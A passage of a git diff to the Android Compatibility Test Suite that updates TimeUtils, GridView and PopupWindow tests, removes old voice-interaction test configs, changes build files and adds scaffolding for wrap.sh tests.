             guess = guessTimeZone(c, "us");
             assertEquals(name, guess.getID());
         }
@@ -95,7 +95,7 @@
             Calendar c = Calendar.getInstance(tz);
             TimeZone guess;
 
-            c.set(2009, Calendar.JULY, 20, 12, 00, 00);
+            c.set(2016, Calendar.JULY, 20, 12, 0, 0);
             guess = guessTimeZone(c, country);
             assertEquals(name, guess.getID());
         }
@@ -107,4 +107,31 @@
                                      c.getTimeInMillis(),
                                      country);
     }
+
+    public void testFormatDuration() {
+        assertFormatDuration("0", 0);
+        assertFormatDuration("-1ms", -1);
+        assertFormatDuration("+1ms", 1);
+        assertFormatDuration("+10ms", 10);
+        assertFormatDuration("+100ms", 100);
+        assertFormatDuration("+101ms", 101);
+        assertFormatDuration("+330ms", 330);
+        assertFormatDuration("+1s0ms", 1000);
+        assertFormatDuration("+1s330ms", 1330);
+        assertFormatDuration("+10s24ms", 10024);
+        assertFormatDuration("+1m0s30ms", 60030);
+        assertFormatDuration("+1h0m0s30ms", 3600030);
+        assertFormatDuration("+1d0h0m0s30ms", 86400030);
+    }
+
+    public void testFormatHugeDuration() {
+        assertFormatDuration("+15542d1h11m11s555ms", 1342833071555L);
+        assertFormatDuration("-15542d1h11m11s555ms", -1342833071555L);
+    }
+
+    private void assertFormatDuration(String expected, long duration) {
+        StringBuilder sb = new StringBuilder();
+        TimeUtils.formatDuration(duration, sb);
+        assertEquals("formatDuration(" + duration + ")", expected, sb.toString());
+    }
 }
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index ba4be93..1b3e1f3 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -33,7 +33,8 @@
     ctstestrunner \
     mockito-target \
     ub-uiautomator \
-    android-support-test
+    android-support-test \
+    legacy-android-test
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsview_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/view/jni/Android.mk b/tests/tests/view/jni/Android.mk
index ac7b844..dfc5183 100644
--- a/tests/tests/view/jni/Android.mk
+++ b/tests/tests/view/jni/Android.mk
@@ -30,6 +30,4 @@
 
 LOCAL_CXX_STL := libc++_static
 
-LOCAL_CLANG := true
-
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/view/jni/CtsViewJniOnLoad.cpp b/tests/tests/view/jni/CtsViewJniOnLoad.cpp
index 2c1e643..1a7ef3c 100644
--- a/tests/tests/view/jni/CtsViewJniOnLoad.cpp
+++ b/tests/tests/view/jni/CtsViewJniOnLoad.cpp
@@ -16,8 +16,8 @@
  */
 #include <jni.h>
 
-#include <utils/Log.h>
 #define LOG_TAG "CtsViewJniOnLoad"
+#include <utils/Log.h>
 
 extern int register_android_view_cts_ChoreographerNativeTest(JNIEnv* env);
 
diff --git a/tests/tests/voiceinteraction/Android.mk b/tests/tests/voiceinteraction/Android.mk
index e470f86..d64574a 100644
--- a/tests/tests/voiceinteraction/Android.mk
+++ b/tests/tests/voiceinteraction/Android.mk
@@ -30,7 +30,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/voiceinteraction/OldAndroidTest.xml b/tests/tests/voiceinteraction/OldAndroidTest.xml
deleted file mode 100644
index fa1ab70..0000000
--- a/tests/tests/voiceinteraction/OldAndroidTest.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Test module config for VoiceInteraction">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsVoiceInteractionService.apk" />
-    <option name="cts-apk-installer:test-file-name" value="CtsVoiceInteractionApp.apk" />
-    <option name="run-command:run-command"
-         value="settings put secure voice_interaction_service android.voiceinteraction.service/.MainInteractionService" />
-    <option name="cts-apk-installer:test-file-name" value="CtsVoiceInteractionTestCases.apk" />
-</configuration>
diff --git a/tests/tests/voicesettings/Android.mk b/tests/tests/voicesettings/Android.mk
index 4f53362..cbc97a2 100644
--- a/tests/tests/voicesettings/Android.mk
+++ b/tests/tests/voicesettings/Android.mk
@@ -30,8 +30,6 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_SDK_VERSION := current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/voicesettings/OldAndroidTest.xml b/tests/tests/voicesettings/OldAndroidTest.xml
deleted file mode 100644
index 246bf06..0000000
--- a/tests/tests/voicesettings/OldAndroidTest.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Test module config for VoiceSettings">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsVoiceSettingsService.apk" />
-    <option name="run-command:run-command"
-         value="settings put secure voice_interaction_service android.voicesettings.service/.MainInteractionService" />
-</configuration>
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index 4bc9eee..3f301be 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -25,7 +25,8 @@
     mockito-target \
     android-common \
     ctsdeviceutil \
-    ctstestrunner
+    ctstestrunner \
+    legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
diff --git a/tests/tests/widget/res/layout/popup_window_scrollable.xml b/tests/tests/widget/res/layout/popup_window_scrollable.xml
new file mode 100644
index 0000000..aa1edd6
--- /dev/null
+++ b/tests/tests/widget/res/layout/popup_window_scrollable.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <RelativeLayout
+        android:id="@+id/main_container"
+        android:layout_width="10000dp"
+        android:layout_height="10000dp">
+
+        <View
+            android:id="@+id/anchor_upper_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_upper"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_upper_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_middle_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_middle"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_middle_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_lower_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+        <View
+            android:id="@+id/anchor_lower"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+        <View
+            android:id="@+id/anchor_lower_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+    </RelativeLayout>
+
+</ScrollView>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 12c73a0..7b83416 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -16,12 +16,10 @@
 
 package android.widget.cts;
 
+import android.test.suitebuilder.annotation.MediumTest;
 import android.widget.cts.R;
 
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.runner.RunWith;
-import org.junit.Test;
+
 import org.xmlpull.v1.XmlPullParser;
 
 import android.app.Activity;
@@ -31,6 +29,9 @@
 import android.database.DataSetObservable;
 import android.database.DataSetObserver;
 import android.graphics.Rect;
+import android.test.ActivityInstrumentationTestCase;
+import android.test.TouchUtils;
+import android.test.UiThreadTest;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
@@ -39,11 +40,6 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.animation.GridLayoutAnimationController.AnimationParameters;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.AbsListView;
 import android.widget.AdapterView;
 import android.widget.Filter;
@@ -54,46 +50,36 @@
 import android.widget.AdapterView.OnItemClickListener;
 import android.widget.cts.util.ViewTestUtils;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
 /**
  * Test {@link GridView}.
  */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class GridViewTest {
+public class GridViewTest extends ActivityInstrumentationTestCase<GridViewCtsActivity> {
     private GridView mGridView;
     private Activity mActivity;
     private Instrumentation mInstrumentation;
 
+    public GridViewTest() {
+        super("android.widget.cts", GridViewCtsActivity.class);
+    }
+
     private GridView findGridViewById(int id) {
         return (GridView) mActivity.findViewById(id);
     }
 
-    @Rule
-    public ActivityTestRule<GridViewCtsActivity> mActivityRule =
-            new ActivityTestRule<>(GridViewCtsActivity.class);
-
-    @Before
-    public void setUp() throws Exception {
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
         mGridView = null;
-        mActivity = mActivityRule.getActivity();
+        mActivity = getActivity();
         new PollingCheck() {
             @Override
             protected boolean check() {
                 return mActivity.hasWindowFocus();
             }
         }.run();
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mInstrumentation = getInstrumentation();
     }
 
-    @Test
     public void testConstructor() {
         new GridView(mActivity);
 
@@ -125,7 +111,6 @@
         }
     }
 
-    @Test
     public void testAccessAdapter() {
         mGridView = new GridView(mActivity);
         // set Adapter
@@ -137,7 +122,6 @@
         assertNull(mGridView.getAdapter());
     }
 
-    @Test
     public void testSetSelection() {
         mGridView = new GridView(mActivity);
         mGridView.setSelection(0);
@@ -150,7 +134,6 @@
         assertEquals(mGridView.getCount(), mGridView.getSelectedItemPosition());
     }
 
-    @Test
     public void testPressKey() {
         final int NUM_COLUMNS = 3;
         mGridView = findGridViewById(R.id.gridview);
@@ -199,7 +182,6 @@
         assertTrue(listener.hasOnItemClickCalled());
     }
 
-    @Test
     public void testSetGravity() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -253,12 +235,10 @@
         ViewAsserts.assertRightAligned(mGridView, child, mGridView.getListPaddingRight());
     }
 
-    @Test
     public void testSetHorizontalSpacing() {
         testSetHorizontalSpacing(View.LAYOUT_DIRECTION_LTR);
     }
 
-    @Test
     public void testSetHorizontalSpacingRTL() {
         testSetHorizontalSpacing(View.LAYOUT_DIRECTION_RTL);
     }
@@ -310,7 +290,6 @@
         }
     }
 
-    @Test
     public void testSetVerticalSpacing() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -339,7 +318,6 @@
         assertEquals(5, child1.getTop() - child0.getBottom());
     }
 
-    @Test
     public void testAccessStretchMode() {
         mGridView = findGridViewById(R.id.gridview);
         View child;
@@ -438,7 +416,6 @@
                 < childRight[STRETCH_SPACING_UNIFORM][INDEX_1]);
     }
 
-    @Test
     public void testSetNumColumns() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -482,7 +459,6 @@
         }
     }
 
-    @Test
     public void testGetNumColumns() {
         mGridView = new GridView(mActivity);
 
@@ -520,7 +496,6 @@
         assertEquals(mGridView.getNumColumns(), 1);
     }
 
-    @Test
     public void testAttachLayoutAnimationParameters() {
         MockGridView mockGridView = new MockGridView(mActivity);
         ViewGroup.LayoutParams p = new ViewGroup.LayoutParams(320, 480);
@@ -530,40 +505,33 @@
         assertEquals(2, animationParams.count);
     }
 
-    @Test
     public void testLayoutChildren() {
         MockGridView mockGridView = new MockGridView(mActivity);
         mockGridView.layoutChildren();
     }
 
-    @Test
+    @UiThreadTest
     public void testOnFocusChanged() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                final MockGridView mockGridView = new MockGridView(mActivity);
+        final MockGridView mockGridView = new MockGridView(mActivity);
 
-                assertFalse(mockGridView.hasCalledOnFocusChanged());
-                mockGridView.setAdapter(new MockGridViewAdapter(10));
-                mockGridView.setFocusable(true);
-                mockGridView.requestFocus();
+        assertFalse(mockGridView.hasCalledOnFocusChanged());
+        mockGridView.setAdapter(new MockGridViewAdapter(10));
+        mockGridView.setFocusable(true);
+        mockGridView.requestFocus();
 
-                assertTrue(mockGridView.hasCalledOnFocusChanged());
-                mockGridView.reset();
-                assertFalse(mockGridView.hasCalledOnFocusChanged());
+        assertTrue(mockGridView.hasCalledOnFocusChanged());
+        mockGridView.reset();
+        assertFalse(mockGridView.hasCalledOnFocusChanged());
 
-                mockGridView.clearFocus();
+        mockGridView.clearFocus();
 
-                assertTrue(mockGridView.hasCalledOnFocusChanged());
-            }
-        });
+        assertTrue(mockGridView.hasCalledOnFocusChanged());
     }
 
-    @Test
     public void testOnMeasure() {
         // Do not test it. It's implementation detail.
     }
 
-    @Test
     public void testSetColumnWidth() {
         mGridView = findGridViewById(R.id.gridview);
 
@@ -600,23 +568,22 @@
         assertEquals(child0.getLeft(), child1.getLeft());
     }
 
-    @Test
     @MediumTest
     public void testFullyDetachUnusedViewOnScroll() {
         mGridView = findGridViewById(R.id.gridview);
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.scrollListBy(mGridView.getHeight() * 2);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.scrollListBy(-mGridView.getHeight() * 2);
             // listview limits scroll to 1 page which is why we call it twice here.
             mGridView.scrollListBy(-mGridView.getHeight() * 2);
@@ -627,23 +594,22 @@
         assertFalse(theView.isTemporarilyDetached());
     }
 
-    @Test
     @MediumTest
     public void testFullyDetachUnusedViewOnReLayout() {
         mGridView = findGridViewById(R.id.gridview);
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setSelection(800);
         });
         assertNull("test sanity, unused view should be removed", theView.getParent());
         assertEquals("unused view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setSelection(0);
         });
         assertNotNull("test sanity, view should be re-added", theView.getParent());
@@ -652,26 +618,25 @@
         assertFalse(theView.isTemporarilyDetached());
     }
 
-    @Test
     @MediumTest
     public void testFullyDetachUnusedViewOnScrollForFocus() {
         mGridView = findGridViewById(R.id.gridview);
         final AttachDetachAwareView theView = new AttachDetachAwareView(mActivity);
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, () -> {
+        ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, () -> {
             mGridView.setAdapter(new DummyAdapter(1000, theView));
         });
         assertEquals("test sanity", 1, theView.mOnAttachCount);
         assertEquals("test sanity", 0, theView.mOnDetachCount);
         while(theView.getParent() != null) {
             assertEquals("the view should NOT be detached", 0, theView.mOnDetachCount);
-            mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
-            ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, null);
+            sendKeys(KeyEvent.KEYCODE_DPAD_DOWN);
+            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, null);
         }
         assertEquals("the view should be detached", 1, theView.mOnDetachCount);
         assertFalse(theView.isTemporarilyDetached());
         while(theView.getParent() == null) {
-            mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_UP);
-            ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mGridView, null);
+            sendKeys(KeyEvent.KEYCODE_DPAD_UP);
+            ViewTestUtils.runOnMainAndDrawSync(getInstrumentation(), mGridView, null);
         }
         assertEquals("the view should be re-attached", 2, theView.mOnAttachCount);
         assertEquals("the view should not recieve another detach", 1, theView.mOnDetachCount);
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 497d623..918a161 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -16,6 +16,14 @@
 
 package android.widget.cts;
 
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
@@ -44,13 +52,6 @@
 import android.widget.TextView;
 import android.widget.cts.R;
 
-import static org.mockito.Mockito.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
 public class PopupWindowTest extends
         ActivityInstrumentationTestCase2<PopupWindowCtsActivity> {
     private Instrumentation mInstrumentation;
@@ -663,9 +664,7 @@
         mPopupWindow = createPopupWindow(createPopupContent(50, 50));
 
         View anchorView = mActivity.findViewById(R.id.anchor_upper);
-        final Rect displayFrame = new Rect();
-        anchorView.getWindowVisibleDisplayFrame(displayFrame);
-        int avaliable = displayFrame.height() - anchorView.getHeight();
+        int avaliable = getDisplay().getHeight() - anchorView.getHeight();
         int maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
         assertTrue(maxAvailableHeight <= avaliable);
@@ -687,14 +686,14 @@
         // On some devices the view might actually have larger size than the physical display
         // due to chin and content will be laid out as if outside of the display. We need to use
         // larger from the display height and the main view height.
-        avaliable = Math.max(displayFrame.height(),
+        avaliable = Math.max(getDisplay().getHeight(),
                 mActivity.findViewById(android.R.id.content).getHeight()) - anchorView.getHeight();
         maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
         assertTrue(maxAvailableHeight <= avaliable);
 
         anchorView = mActivity.findViewById(R.id.anchor_middle_left);
-        avaliable = displayFrame.height() - anchorView.getHeight()
+        avaliable = getDisplay().getHeight() - anchorView.getHeight()
                 - mActivity.findViewById(R.id.anchor_upper).getHeight();
         maxAvailableHeight = mPopupWindow.getMaxAvailableHeight(anchorView);
         assertTrue(maxAvailableHeight > 0);
@@ -774,7 +773,19 @@
                 WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM & p.flags);
     }
 
-    public void testEnterExitTransition() {
+    public void testEnterExitTransitionAsDropDown() throws Throwable {
+        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+        verifyEnterExitTransition(
+                () -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+    }
+
+    public void testEnterExitTransitionAtLocation() throws Throwable {
+        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+        verifyEnterExitTransition(
+                () -> mPopupWindow.showAtLocation(anchorView, Gravity.BOTTOM, 0, 0));
+    }
+
+    private void verifyEnterExitTransition(Runnable showRunnable) throws Throwable {
         TransitionListener enterListener = mock(TransitionListener.class);
         Transition enterTransition = new BaseTransition();
         enterTransition.addListener(enterListener);
@@ -793,8 +804,7 @@
         verify(exitListener, never()).onTransitionStart(any(Transition.class));
         verify(dismissListener, never()).onDismiss();
 
-        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+        mInstrumentation.runOnMainSync(showRunnable);
         mInstrumentation.waitForIdleSync();
         verify(enterListener, times(1)).onTransitionStart(any(Transition.class));
         verify(exitListener, never()).onTransitionStart(any(Transition.class));
@@ -1071,6 +1081,30 @@
         assertEquals(LayoutParams.MATCH_PARENT, p.height);
     }
 
+    public void testPositionAfterParentScroll() {
+        View.OnScrollChangeListener scrollChangeListener = mock(
+                View.OnScrollChangeListener.class);
+
+        getInstrumentation().runOnMainSync(() -> {
+            mActivity.setContentView(R.layout.popup_window_scrollable);
+
+            View anchor = mActivity.findViewById(R.id.anchor_upper);
+            PopupWindow window = createPopupWindow();
+            window.showAsDropDown(anchor);
+        });
+
+        getInstrumentation().runOnMainSync(() -> {
+            View parent = mActivity.findViewById(R.id.main_container);
+            parent.scrollBy(0, 500);
+            parent.setOnScrollChangeListener(scrollChangeListener);
+        });
+
+        getInstrumentation().waitForIdleSync();
+
+        verify(scrollChangeListener, never()).onScrollChange(
+                any(View.class), anyInt(), anyInt(), anyInt(), anyInt());
+    }
+
     private static class BaseTransition extends Transition {
         @Override
         public void captureStartValues(TransitionValues transitionValues) {}
diff --git a/tests/tests/wrap/Android.mk b/tests/tests/wrap/Android.mk
new file mode 100644
index 0000000..b798d87
--- /dev/null
+++ b/tests/tests/wrap/Android.mk
@@ -0,0 +1,15 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+include $(call all-subdir-makefiles)
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
new file mode 100644
index 0000000..947f84f
--- /dev/null
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	compatibility-device-util \
+	android-support-test \
+	legacy-android-test
+LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_SDK_VERSION := current
+
+LOCAL_PACKAGE_NAME := CtsWrapNoWrapTestCases
+LOCAL_MANIFEST_FILE := AndroidManifest.xml
+
+include $(BUILD_PACKAGE)
diff --git a/tests/tests/wrap/nowrap/AndroidManifest.xml b/tests/tests/wrap/nowrap/AndroidManifest.xml
new file mode 100644
index 0000000..6145390
--- /dev/null
+++ b/tests/tests/wrap/nowrap/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.wrap.nowrap.cts">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.wrap.cts.expext_env" android:value="false" />
+        <activity android:name="android.wrap.WrapActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for wrap.sh"
+        android:targetPackage="android.wrap.nowrap.cts" >
+    </instrumentation>
+</manifest>
+
diff --git a/tests/tests/wrap/nowrap/AndroidTest.xml b/tests/tests/wrap/nowrap/AndroidTest.xml
new file mode 100644
index 0000000..bc0deb5
--- /dev/null
+++ b/tests/tests/wrap/nowrap/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS No Wrap test cases">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsWrapNoWrapTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.wrap.nowrap.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/wrap/src/android/wrap/WrapActivity.java b/tests/tests/wrap/src/android/wrap/WrapActivity.java
new file mode 100644
index 0000000..578241a
--- /dev/null
+++ b/tests/tests/wrap/src/android/wrap/WrapActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
